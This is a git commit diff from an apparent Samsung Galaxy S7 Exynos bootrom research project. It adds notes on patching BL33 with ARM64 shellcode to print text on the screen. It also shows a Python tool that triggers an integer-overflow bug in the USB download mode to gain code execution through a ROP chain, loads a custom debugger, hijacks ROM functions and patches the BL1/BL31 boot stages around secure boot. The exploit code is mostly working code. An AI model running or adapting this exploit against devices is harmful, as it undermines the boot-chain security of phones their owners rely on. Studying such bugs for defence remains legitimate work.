adds print screen binary. Not working for now

This commit is contained in:
Jonathan Herrewijnen 2024-10-23 19:24:09 +02:00
parent 9b12fe8c33
commit d187b06980
12 changed files with 212 additions and 89 deletions

View File

@ -232,6 +232,30 @@ So, I've written something to dump the location of thte TTBR0_EL3 table, before
df['TTBR0_EL3'] = [blub] df['TTBR0_EL3'] = [blub]
df.to_pickle('ttbr0_el3.pkl') df.to_pickle('ttbr0_el3.pkl')
I tried modifying some code to write text to the screen. In order to view whether this would at all be possible, I tried modifying code that would alter the message printed when booting normally (it would print: USB RECOVERY MODE). But it would appear that this is already in space that is by then not accessible anymore. The 'str' function crashes the device. Doesn't really matter where I do this, but the space seems immutable.. The movz and movk is because I was having issues moving data into registers.
.. code:: python
# Write NOP from 0x8f008cb8 to 0x8f008d14 using self.cd.memwrite
for i in range(0x8f008cb8, 0x8f008d14, 4):
self.cd.memwrite_region(i, b'\x1f\x20\x03\xd5')
#self.cd.memwrite_region(0x8f008cb8, struct.pack('>I', 0x1f2003d5))
# Write opcode that writes 'aaaaaaaa' at 0x8f06ab10
shellcode = f"""
// Load the target address (0x8f06ab10) into x21
movz x21, #0x8f06 // Load the high half of the address
movk x21, #0xab10, lsl #16 // Load the low half of the address
// Load the value 'aaaa' (0x6161616161616161) into x22
movz x20, #0xbeef
// Write the contents of x20 to the bytes where x21 points to
str x20, [x21]
"""
shellcode = ks.asm(shellcode, as_bytes=True)[0]
self.cd.memwrite_region(0x8f008cb8, shellcode)
It would appear that I'm currently only able to modify code before executing any part of BL33. I'm as of yet unable to return to the debugger at any point in BL33.

View File

@ -41,7 +41,7 @@ TARGET_OFFSETS = {
def wait_for_device(): def wait_for_device():
while usb.core.find(idVendor=0x04e8, idProduct=0x1234) is None: while usb.core.find(idVendor=0x04e8, idProduct=0x1234) is None:
pass pass
def wait_disconnect(): def wait_disconnect():
while usb.core.find(idVendor=0x04e8, idProduct=0x1234) is not None: while usb.core.find(idVendor=0x04e8, idProduct=0x1234) is not None:
pass pass
@ -78,7 +78,7 @@ class ExynosDevice():
continue continue
break break
try: try:
self.handle.getDevice().getSerialNumber() self.handle.getDevice().getSerialNumber()
except Exception as e: except Exception as e:
if e.value == usb1.libusb1.LIBUSB_ERROR_TIMEOUT or e.value == usb1.libusb1.LIBUSB_ERROR_IO: if e.value == usb1.libusb1.LIBUSB_ERROR_TIMEOUT or e.value == usb1.libusb1.LIBUSB_ERROR_IO:
@ -86,11 +86,11 @@ class ExynosDevice():
sys.exit(1) sys.exit(1)
else: else:
raise e raise e
# claim usb interface # claim usb interface
self.handle.claimInterface(0) self.handle.claimInterface(0)
print(f"Connected device! {hex(self.idVendor)} {hex(self.idProduct)}") print(f"Connected device! {hex(self.idVendor)} {hex(self.idProduct)}")
def disconnect(self): def disconnect(self):
"""Disconnect the device""" """Disconnect the device"""
self.handle.releaseInterface(0) self.handle.releaseInterface(0)
@ -110,7 +110,7 @@ class ExynosDevice():
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, 0, 0, ctypes.byref(transferred), 0) res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, 0, 0, ctypes.byref(transferred), 0)
assert(res == 0) assert(res == 0)
return transferred.value return transferred.value
def test_bug_2(self): def test_bug_2(self):
"""Interger overflow in last packet if reamining size is 1.""" """Interger overflow in last packet if reamining size is 1."""
transferred = ctypes.c_int() transferred = ctypes.c_int()
@ -118,11 +118,11 @@ class ExynosDevice():
bug_payload += b"\xcc" * (BLOCK_SIZE - len(bug_payload)) bug_payload += b"\xcc" * (BLOCK_SIZE - len(bug_payload))
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, bug_payload, len(bug_payload), ctypes.byref(transferred), 0) res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, bug_payload, len(bug_payload), ctypes.byref(transferred), 0)
assert res == 0 assert res == 0
payload = b"\xaa" * 0x200 payload = b"\xaa" * 0x200
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0) res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0)
assert res == 0 assert res == 0
payload = b"\xaa" * 0x200 payload = b"\xaa" * 0x200
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0) res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0)
while True: while True:
@ -136,26 +136,26 @@ class ExynosDevice():
payload = p32(0) + p32(0xFDFDE7FF + 0x1000) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0) payload = p32(0) + p32(0xFDFDE7FF + 0x1000) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0)
assert (len(payload) == BLOCK_SIZE) assert (len(payload) == BLOCK_SIZE)
res = self.write(payload, MAX_PAYLOAD_SIZE) res = self.write(payload, MAX_PAYLOAD_SIZE)
for i in range(200): for i in range(200):
print(hex(self.send_empty_transfer())) print(hex(self.send_empty_transfer()))
print('Bug probably available') print('Bug probably available')
sys.exit(0) sys.exit(0)
def send_normal_stage(self, payload): def send_normal_stage(self, payload):
"""Send next boot stage to the device""" """Send next boot stage to the device"""
# construct dl_data # construct dl_data
dpayload = struct.pack("<II", 0, (len(payload) + 8 + 2)) dpayload = struct.pack("<II", 0, (len(payload) + 8 + 2))
dpayload = dpayload + payload + b"\x00" * 2 # add footer dpayload = dpayload + payload + b"\x00" * 2 # add footer
transferred = ctypes.c_int() transferred = ctypes.c_int()
for block in range(0, len(dpayload), BLOCK_SIZE): for block in range(0, len(dpayload), BLOCK_SIZE):
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, dpayload[block:block + BLOCK_SIZE], len(dpayload[block:block + BLOCK_SIZE]), ctypes.byref(transferred), 0) res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, dpayload[block:block + BLOCK_SIZE], len(dpayload[block:block + BLOCK_SIZE]), ctypes.byref(transferred), 0)
assert res == 0, "Error sending payload" assert res == 0, "Error sending payload"
p_ok("Sent stage") p_ok("Sent stage")
def unsecure_boot(self, exploit=False): def unsecure_boot(self, exploit=False):
''' '''
@ -183,29 +183,29 @@ class ExynosDevice():
time.sleep(2) time.sleep(2)
self.connect_device() self.connect_device()
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.4.bin", "rb").read()) self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.4.bin", "rb").read())
# self.send_normal_stage(open("../S7/sboot.bin.4.bin", "rb").read()) # self.send_normal_stage(open("../S7/sboot.bin.4.bin", "rb").read())
pass pass
def exploit(self, payload: bytes): def exploit(self, payload: bytes):
''' '''
Exploit the Exynos device, payload of 502 bytes max. This will send stage1 payload. Exploit the Exynos device, payload of 502 bytes max. This will send stage1 payload.
''' '''
assert len(payload) <= MAX_PAYLOAD_SIZE, "Shellcode too big" assert len(payload) <= MAX_PAYLOAD_SIZE, "Shellcode too big"
current_offset = TARGET_OFFSETS[self.target][0] current_offset = TARGET_OFFSETS[self.target][0]
xfer_buffer_start = TARGET_OFFSETS[self.target][1] # start of USB transfer buffer xfer_buffer_start = TARGET_OFFSETS[self.target][1] # start of USB transfer buffer
transferred = ctypes.c_int() transferred = ctypes.c_int()
size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8 + 6 # max_uint32 - header(8) + data(n) + footer(2) size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8 + 6 # max_uint32 - header(8) + data(n) + footer(2)
#size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8 #size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8
max_payload_size = 0x100000000 - size_to_overflow max_payload_size = 0x100000000 - size_to_overflow
ram_size = ((size_to_overflow % CHUNK_SIZE) % BLOCK_SIZE) # ram_size = ((size_to_overflow % CHUNK_SIZE) % BLOCK_SIZE) #
# Assert that payload is 502 bytes # Assert that payload is 502 bytes
payload = payload + ((max_payload_size - len(payload)) * b"\x00") payload = payload + ((max_payload_size - len(payload)) * b"\x00")
assert len(payload) == max_payload_size, "Invalid payload. Size is wrong" assert len(payload) == max_payload_size, "Invalid payload. Size is wrong"
# First send payload to trigger the bug # First send payload to trigger the bug
bug_payload = p32(0) + p32(size_to_overflow) + payload[:MAX_PAYLOAD_SIZE] # dummy packet for triggering the bug bug_payload = p32(0) + p32(size_to_overflow) + payload[:MAX_PAYLOAD_SIZE] # dummy packet for triggering the bug
bug_payload += b"\xcc" * (BLOCK_SIZE - len(bug_payload)) bug_payload += b"\xcc" * (BLOCK_SIZE - len(bug_payload))
@ -213,7 +213,7 @@ class ExynosDevice():
assert res == 0, "Error triggering payload" assert res == 0, "Error triggering payload"
assert transferred.value == len(bug_payload), "Invalid transfered size" assert transferred.value == len(bug_payload), "Invalid transfered size"
current_offset += len(bug_payload) - 8 # Remove header current_offset += len(bug_payload) - 8 # Remove header
cnt = 0 cnt = 0
while True: while True:
if current_offset + CHUNK_SIZE >= xfer_buffer_start and current_offset < xfer_buffer_start: if current_offset + CHUNK_SIZE >= xfer_buffer_start and current_offset < xfer_buffer_start:
@ -224,7 +224,7 @@ class ExynosDevice():
if current_offset > 0x100000000: if current_offset > 0x100000000:
current_offset = current_offset - 0x100000000 #reset 32 byte integer current_offset = current_offset - 0x100000000 #reset 32 byte integer
print(f"{cnt} {hex(current_offset)}") print(f"{cnt} {hex(current_offset)}")
remaining = (TARGET_OFFSETS[self.target][1] - current_offset) remaining = (TARGET_OFFSETS[self.target][1] - current_offset)
assert remaining != 0, "Invalid remaining, needs to be > 0 in order to overwrite with the last packet" assert remaining != 0, "Invalid remaining, needs to be > 0 in order to overwrite with the last packet"
if remaining > BLOCK_SIZE: if remaining > BLOCK_SIZE:
@ -233,7 +233,7 @@ class ExynosDevice():
current_offset += ((remaining // BLOCK_SIZE) * BLOCK_SIZE) current_offset += ((remaining // BLOCK_SIZE) * BLOCK_SIZE)
cnt += 1 cnt += 1
print(f"{cnt} {hex(current_offset)}") print(f"{cnt} {hex(current_offset)}")
# Build ROP chain. # Build ROP chain.
rop_chain = (b"\x00" * (ram_size - 6)) + p64(TARGET_OFFSETS[self.target][0]) + (b"\x00" * 2) rop_chain = (b"\x00" * (ram_size - 6)) + p64(TARGET_OFFSETS[self.target][0]) + (b"\x00" * 2)
transferred = ctypes.c_int(0) transferred = ctypes.c_int(0)
@ -266,7 +266,7 @@ class ExynosDevice():
concrete_device.ga_vbar_location = 0x206d000 + 0x1000 concrete_device.ga_vbar_location = 0x206d000 + 0x1000
concrete_device.ga_storage_location = 0x206d000 concrete_device.ga_storage_location = 0x206d000
concrete_device.ga_stack_location = 0x206b000 concrete_device.ga_stack_location = 0x206b000
concrete_device.arch_dbg = GA_arm64_debugger(concrete_device.ga_vbar_location, concrete_device.ga_debugger_location, concrete_device.ga_storage_location) concrete_device.arch_dbg = GA_arm64_debugger(concrete_device.ga_vbar_location, concrete_device.ga_debugger_location, concrete_device.ga_storage_location)
concrete_device.arch_dbg.read = self.usb_read concrete_device.arch_dbg.read = self.usb_read
concrete_device.arch_dbg.write = self.usb_write concrete_device.arch_dbg.write = self.usb_write
@ -287,14 +287,14 @@ class ExynosDevice():
p = p32(count) + b"\xaa" * (0x200 - 4) p = p32(count) + b"\xaa" * (0x200 - 4)
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, p, len(p), ctypes.byref(transferred), 100) res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, p, len(p), ctypes.byref(transferred), 100)
assert res == 0, f"Error sending data ({res})" assert res == 0, f"Error sending data ({res})"
def _recv_data(): def _recv_data():
transferred.value = 0 transferred.value = 0
buf = ctypes.c_buffer(b"", 0x200) buf = ctypes.c_buffer(b"", 0x200)
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, 0x81, buf, len(buf), ctypes.byref(transferred), 100) res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, 0x81, buf, len(buf), ctypes.byref(transferred), 100)
assert res == 0, f"Error receiving data ({res})" assert res == 0, f"Error receiving data ({res})"
hexdump(buf.raw) hexdump(buf.raw)
# Should have received some bytes # Should have received some bytes
while True: while True:
_send_data() _send_data()
@ -323,7 +323,7 @@ class ExynosDevice():
""" """
Sets up guppy debugger on the device itself. Sets up guppy debugger on the device itself.
""" """
def _setup_debugger(): def _setup_debugger():
''' '''
Setup the debugger as a concrete device Setup the debugger as a concrete device
@ -351,15 +351,15 @@ class ExynosDevice():
self.usb_write(debugger[block:block+0x200]) self.usb_write(debugger[block:block+0x200])
# time.sleep(.5) # Wait a little bit # time.sleep(.5) # Wait a little bit
assert self.usb_read(0x200) == b"GiAs", "No response from debugger" assert self.usb_read(0x200) == b"GiAs", "No response from debugger"
# Test basic functionality # Test basic functionality
self.usb_write(b"PING") self.usb_write(b"PING")
r = self.usb_read(0x200) r = self.usb_read(0x200)
assert r == b"PONG", f"Invalid response from device: {r}" assert r == b"PONG", f"Invalid response from device: {r}"
_initial_run_debugger() _initial_run_debugger()
_setup_debugger() _setup_debugger()
def relocate_debugger(self, debugger=None, entry=0x020c0000, storage=0x020c4000, g_data_received=0x020c6000, alternative_size=0x1000): def relocate_debugger(self, debugger=None, entry=0x020c0000, storage=0x020c4000, g_data_received=0x020c6000, alternative_size=0x1000):
""" """
@ -388,7 +388,7 @@ class ExynosDevice():
self.cd.restore_stack_and_jump(entry) self.cd.restore_stack_and_jump(entry)
assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger" assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger"
self.cd.relocate_debugger(g_data_received+alternative_size, entry, storage) #0x20c7000, 0x20c0000, 0x20c4000 self.cd.relocate_debugger(g_data_received+alternative_size, entry, storage) #0x20c7000, 0x20c0000, 0x20c4000
def dumb_interact(self, dump_imems=False): def dumb_interact(self, dump_imems=False):
''' '''
@ -398,7 +398,7 @@ class ExynosDevice():
self.cd.arch_dbg.state.auto_sync_special = False self.cd.arch_dbg.state.auto_sync_special = False
logger.debug('State after setting up initial debugger') logger.debug('State after setting up initial debugger')
self.cd.arch_dbg.state.print_ctx() self.cd.arch_dbg.state.print_ctx()
def first_debugger(): def first_debugger():
debugger = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin", "rb").read() debugger = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin", "rb").read()
self.cd.memwrite_region(0x2069000, debugger) self.cd.memwrite_region(0x2069000, debugger)
@ -412,7 +412,7 @@ class ExynosDevice():
### Get whereabouts of the debugger and current processor state ### Get whereabouts of the debugger and current processor state
logger.debug('State after relocating debugger') logger.debug('State after relocating debugger')
self.cd.arch_dbg.state.print_ctx() self.cd.arch_dbg.state.print_ctx()
def memdump_imem(): def memdump_imem():
""" """
Dumps the internal memory of the device (0x2020000 - 0x2070000). Dumps the internal memory of the device (0x2020000 - 0x2070000).
@ -422,7 +422,7 @@ class ExynosDevice():
# print(hex(block)) # print(hex(block))
dumped += self.cd.memdump_region(block, 0x200) dumped += self.cd.memdump_region(block, 0x200)
return dumped return dumped
AUTH_BL1 = 0x00012848 # Location of the authentication function AUTH_BL1 = 0x00012848 # Location of the authentication function
def auth_bl1(lr=0x2069000): def auth_bl1(lr=0x2069000):
# Load the firmware # Load the firmware
@ -432,67 +432,67 @@ class ExynosDevice():
self.cd.restore_stack_and_jump(AUTH_BL1) self.cd.restore_stack_and_jump(AUTH_BL1)
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger" assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!" assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!"
BOOT_BL1 = 0x00019310 # Location of the boot function BOOT_BL1 = 0x00019310 # Location of the boot function
def boot_bl1(lr=0x2069000): def boot_bl1(lr=0x2069000):
self.cd.arch_dbg.state.LR = lr self.cd.arch_dbg.state.LR = lr
self.cd.restore_stack_and_jump(BOOT_BL1) self.cd.restore_stack_and_jump(BOOT_BL1)
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger" assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
JUMP_BL1 = 0x000002c0 # Location of the function to start the BL1 boot JUMP_BL1 = 0x000002c0 # Location of the function to start the BL1 boot
def jump_bl1(lr): def jump_bl1(lr):
self.cd.arch_dbg.state.LR = lr self.cd.arch_dbg.state.LR = lr
self.cd.restore_stack_and_jump(JUMP_BL1) self.cd.restore_stack_and_jump(JUMP_BL1)
# Always hijack rom_usb_download function: # Always hijack rom_usb_download function:
rom_usb_download = self.cd.memdump_region(0x020200dc, 4) rom_usb_download = self.cd.memdump_region(0x020200dc, 4)
self.cd.memwrite_region(0x020200dc, p32(0x2069000)) self.cd.memwrite_region(0x020200dc, p32(0x2069000))
# Try loading bl1 # Try loading bl1
bl1 = open("../S7/bl1.bin", "rb").read() bl1 = open("../S7/bl1.bin", "rb").read()
self.cd.memwrite_region(0x02021800, bl1) self.cd.memwrite_region(0x02021800, bl1)
self.usb_write(b"FLSH") # Flush cache, as Frederic does self.usb_write(b"FLSH") # Flush cache, as Frederic does
self.cd.test_connection() self.cd.test_connection()
auth_bl1(DEBUGGER_ADDR) auth_bl1(DEBUGGER_ADDR)
# boot_bl1(DEBUGGER_ADDR) # boot_bl1(DEBUGGER_ADDR)
self.cd.memwrite_region(0x02022858, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR)) # jump to debugger on next stage download self.cd.memwrite_region(0x02022858, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR)) # jump to debugger on next stage download
self.cd.memwrite_region(0x020219cc, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR)) self.cd.memwrite_region(0x020219cc, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR))
jump_bl1(DEBUGGER_ADDR) jump_bl1(DEBUGGER_ADDR)
# Returns on usb_download function # Returns on usb_download function
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger" assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
self.cd.arch_dbg.state.print_ctx() self.cd.arch_dbg.state.print_ctx()
dl_ready, next_stage = struct.unpack("<II", self.cd.memdump_region(0x02021518, 8)) dl_ready, next_stage = struct.unpack("<II", self.cd.memdump_region(0x02021518, 8))
bl31 = open("../S7/bl31.bin", "rb").read() bl31 = open("../S7/bl31.bin", "rb").read()
self.cd.memwrite_region(0x02024000, bl31) self.cd.memwrite_region(0x02024000, bl31)
self.cd.memwrite_region(0x02021518, p32(1)) # Set dl_ready to 1 self.cd.memwrite_region(0x02021518, p32(1)) # Set dl_ready to 1
self.cd.memwrite_region(0x02021518 + 4 , p32(self.cd.arch_dbg.state.X0)) self.cd.memwrite_region(0x02021518 + 4 , p32(self.cd.arch_dbg.state.X0))
self.cd.arch_dbg.state.X0 = 0 self.cd.arch_dbg.state.X0 = 0
self.cd.restore_stack_and_jump(0x020219c8) self.cd.restore_stack_and_jump(0x020219c8)
pass pass
# assert len(bl31) % 0x200 == 0, "Size needs to be 512 bytes aligned" # assert len(bl31) % 0x200 == 0, "Size needs to be 512 bytes aligned"
# self.cd.memwrite_region(self.cd.arch_dbg.state.X0, p32(147456)) # Update amount of blocks # self.cd.memwrite_region(self.cd.arch_dbg.state.X0, p32(147456)) # Update amount of blocks
# self.cd.arch_dbg.state.LR = DEBUGGER_ADDR # self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
# self.cd.restore_stack_and_jump(0x02022a08) # self.cd.restore_stack_and_jump(0x02022a08)
# Patches # Patches
# self.cd.memwrite_region(0x02022a08, self.cd.arch_dbg.sc.mov_0_w0_ins + self.cd.arch_dbg.sc.ret_ins) # Overwrite line register to jump back to debugger (see code flow at 0x02021800 +0x10, after the bl1 has been written to memory at this address) # self.cd.memwrite_region(0x02022a08, self.cd.arch_dbg.sc.mov_0_w0_ins + self.cd.arch_dbg.sc.ret_ins) # Overwrite line register to jump back to debugger (see code flow at 0x02021800 +0x10, after the bl1 has been written to memory at this address)
# self.cd.memwrite_region(0x2022948 + 4, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR)) # self.cd.memwrite_region(0x2022948 + 4, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR))
# Patch stupid error function # Patch stupid error function
# self.usb_write(b"FLSH") # Flush cache # self.usb_write(b"FLSH") # Flush cache
# Download next stage? # Download next stage?
lr = self.cd.arch_dbg.state.LR lr = self.cd.arch_dbg.state.LR
# self.cd.arch_dbg.state.LR = DEBUGGER_ADDR # self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
pass pass
# Overwrite jump back to the debugger from functions encountered during jump_bl1 # Overwrite jump back to the debugger from functions encountered during jump_bl1
self.cd.memwrite_region(0x020200e8, p32(0x020c0000)) # Overwrite line register to jump back to debugger (see code flow at 0x02021800 +0x10, after the bl1 has been written to memory at this address) self.cd.memwrite_region(0x020200e8, p32(0x020c0000)) # Overwrite line register to jump back to debugger (see code flow at 0x02021800 +0x10, after the bl1 has been written to memory at this address)
self.cd.memwrite_region(0x020200dc, p32(0x020c0000)) self.cd.memwrite_region(0x020200dc, p32(0x020c0000))
def hijack_brom_weird(): def hijack_brom_weird():
print(f"From = {hex(self.cd.arch_dbg.state.LR - 4)} X0 = {hex(self.cd.arch_dbg.state.X0)}") print(f"From = {hex(self.cd.arch_dbg.state.LR - 4)} X0 = {hex(self.cd.arch_dbg.state.X0)}")
self.cd.restore_stack_and_jump(0x00000314) self.cd.restore_stack_and_jump(0x00000314)
@ -509,14 +509,14 @@ class ExynosDevice():
except Exception as e: except Exception as e:
pass pass
handle_weird_brom() handle_weird_brom()
### For getting special registers. Non-writeable registers are detected. (UXN, PXN, etc) ### For getting special registers. Non-writeable registers are detected. (UXN, PXN, etc)
# self.cd.jump_to(0x2069000) # self.cd.jump_to(0x2069000)
# assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger" # assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
# self.cd.fetch_special_regs() # self.cd.fetch_special_regs()
self.cd.memwrite_region(0x02022a08, self.cd.arch_dbg.sc.mov_0_w0_ins + self.cd.arch_dbg.sc.ret_ins) self.cd.memwrite_region(0x02022a08, self.cd.arch_dbg.sc.mov_0_w0_ins + self.cd.arch_dbg.sc.ret_ins)
self.cd.arch_dbg.state.X0 = 1 self.cd.arch_dbg.state.X0 = 1
self.cd.restore_stack_and_jump(self.cd.arch_dbg.state.LR) self.cd.restore_stack_and_jump(self.cd.arch_dbg.state.LR)
self.usb_read(0x200) # GiAs self.usb_read(0x200) # GiAs
@ -524,7 +524,7 @@ class ExynosDevice():
self.cd.arch_dbg.state.LR = 0x2069000 self.cd.arch_dbg.state.LR = 0x2069000
self.cd.restore_stack_and_jump(0x00000314) self.cd.restore_stack_and_jump(0x00000314)
pass pass
### UXN and PXN seem to be present over the USB stack (02021800+) ### UXN and PXN seem to be present over the USB stack (02021800+)
shellcode = f""" shellcode = f"""
ldr x0, debugger_addr ldr x0, debugger_addr
@ -540,7 +540,7 @@ class ExynosDevice():
# bl31 = bl31[:0x14] + self.cd.arch_dbg.sc.branch_absolute(0x2069000) + bl31[0x24:] # Overwrite jump back to debugger # bl31 = bl31[:0x14] + self.cd.arch_dbg.sc.branch_absolute(0x2069000) + bl31[0x24:] # Overwrite jump back to debugger
# # Write bl31 at 0x02021800 and authenticate # # Write bl31 at 0x02021800 and authenticate
auth_bl1(0x020c0000) auth_bl1(0x020c0000)
# Jump to bl31 # Jump to bl31
@ -548,7 +548,7 @@ class ExynosDevice():
pass pass
# VERY OLD # VERY OLD
#000125b4 #000125b4
# self.cd.arch_dbg.state.LR = 0x2069000 #jump back to debugger when finished # self.cd.arch_dbg.state.LR = 0x2069000 #jump back to debugger when finished
# self.cd.restore_stack_and_jump(0x00012814) # self.cd.restore_stack_and_jump(0x00012814)
@ -572,7 +572,7 @@ class ExynosDevice():
self.usb_read(0x200) # GiAs self.usb_read(0x200) # GiAs
self.cd.arch_dbg.fetch_special_regs() self.cd.arch_dbg.fetch_special_regs()
print(f'MMU is {hex(self.cd.arch_dbg.state.R_SCTLR_EL3.mmu)} (0x1=enabled, 0x0=disabled)') print(f'MMU is {hex(self.cd.arch_dbg.state.R_SCTLR_EL3.mmu)} (0x1=enabled, 0x0=disabled)')
def get_ttbr0_el3(self): def get_ttbr0_el3(self):
""" """
@ -607,8 +607,8 @@ class ExynosDevice():
assert self.usb_read(0x200) == b'PONG', "Debugger not alive before test" assert self.usb_read(0x200) == b'PONG', "Debugger not alive before test"
shellcode = f""" shellcode = f"""
mov x1, lr mov x1, lr
ret ret
""" """
shellcode = ks.asm(shellcode, as_bytes=True)[0] shellcode = ks.asm(shellcode, as_bytes=True)[0]
@ -619,7 +619,7 @@ class ExynosDevice():
assert self.usb_read(0x200) == b"PONG", "Failed to jump back to debugger" assert self.usb_read(0x200) == b"PONG", "Failed to jump back to debugger"
print(f'Jumped to {hex(address)} and back') print(f'Jumped to {hex(address)} and back')
def debugger_boot(self): def debugger_boot(self):
""" """
Boot into USB recovery mode using the debugger. Boot into USB recovery mode using the debugger.
@ -682,13 +682,13 @@ class ExynosDevice():
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger" assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
### Check if authentication was successful - X0 should not be 0?? ### Check if authentication was successful - X0 should not be 0??
# assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!" # assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!"
# BL1 is loaded, now authenticate and patch it # BL1 is loaded, now authenticate and patch it
auth_bl1(DEBUGGER_ADDR) auth_bl1(DEBUGGER_ADDR)
self.usb_write(b"FLSH") # Flush cache (Frederic does this..) self.usb_write(b"FLSH") # Flush cache (Frederic does this..)
# Hijack ROM download function # Hijack ROM download function
hijacked_fun = u32(self.cd.memdump_region(0x020200dc, 4)) hijacked_fun = u32(self.cd.memdump_region(0x020200dc, 4))
self.cd.memwrite_region(0x020200dc, p32(DEBUGGER_ADDR)) # hijack ROM_DOWNLOAD_USB for BL31 self.cd.memwrite_region(0x020200dc, p32(DEBUGGER_ADDR)) # hijack ROM_DOWNLOAD_USB for BL31
self.cd.memwrite_region(0x02021880, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR, branch_ins="br")) self.cd.memwrite_region(0x02021880, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR, branch_ins="br"))
@ -703,11 +703,11 @@ class ExynosDevice():
# And jump into BL1 to execute it # And jump into BL1 to execute it
jump_bl1(DEBUGGER_ADDR) jump_bl1(DEBUGGER_ADDR)
# ==== BL31 ==== # ==== BL31 ====
# Assure that the debugger is still alive # Assure that the debugger is still alive
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger" assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
# Get current LR, and store it. Then set LR to debugger. # Get current LR, and store it. Then set LR to debugger.
lr = self.cd.arch_dbg.state.LR lr = self.cd.arch_dbg.state.LR
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
@ -718,7 +718,7 @@ class ExynosDevice():
self.connect_device() self.connect_device()
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.2.bin", "rb").read()) self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.2.bin", "rb").read())
time.sleep(2) time.sleep(2)
# Assure that the debugger is returning (obligatory assuration) # Assure that the debugger is returning (obligatory assuration)
self.usb_read(0x200) # GiAs self.usb_read(0x200) # GiAs
@ -726,12 +726,12 @@ class ExynosDevice():
# Set LR to continue boot flow # Set LR to continue boot flow
self.cd.restore_stack_and_jump(lr) self.cd.restore_stack_and_jump(lr)
# Assure return to debugger # Assure return to debugger
time.sleep(2) time.sleep(2)
self.usb_read(0x200) # GiAs self.usb_read(0x200) # GiAs
self.cd.memwrite_region(0x02031008, b"ELH") self.cd.memwrite_region(0x02031008, b"ELH")
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
TTBR0_EL3 = 0x02035600 # Zeroed out TTBR0_EL3 = 0x02035600 # Zeroed out
@ -743,13 +743,13 @@ class ExynosDevice():
# Jump into BL31 and execute it # Jump into BL31 and execute it
self.cd.restore_stack_and_jump(0x02024010) self.cd.restore_stack_and_jump(0x02024010)
# Obligatory reconnect and check of debugger # Obligatory reconnect and check of debugger
time.sleep(2) time.sleep(2)
self.connect_device() self.connect_device()
self.usb_read(0x200) # GiAs self.usb_read(0x200) # GiAs
BL31_ra = self.cd.arch_dbg.state.LR BL31_ra = self.cd.arch_dbg.state.LR
self.cd.arch_dbg.fetch_special_regs() self.cd.arch_dbg.fetch_special_regs()
print(f'MMU is {hex(self.cd.arch_dbg.state.R_SCTLR_EL3.mmu)} (0x1=enabled, 0x0=disabled)') print(f'MMU is {hex(self.cd.arch_dbg.state.R_SCTLR_EL3.mmu)} (0x1=enabled, 0x0=disabled)')
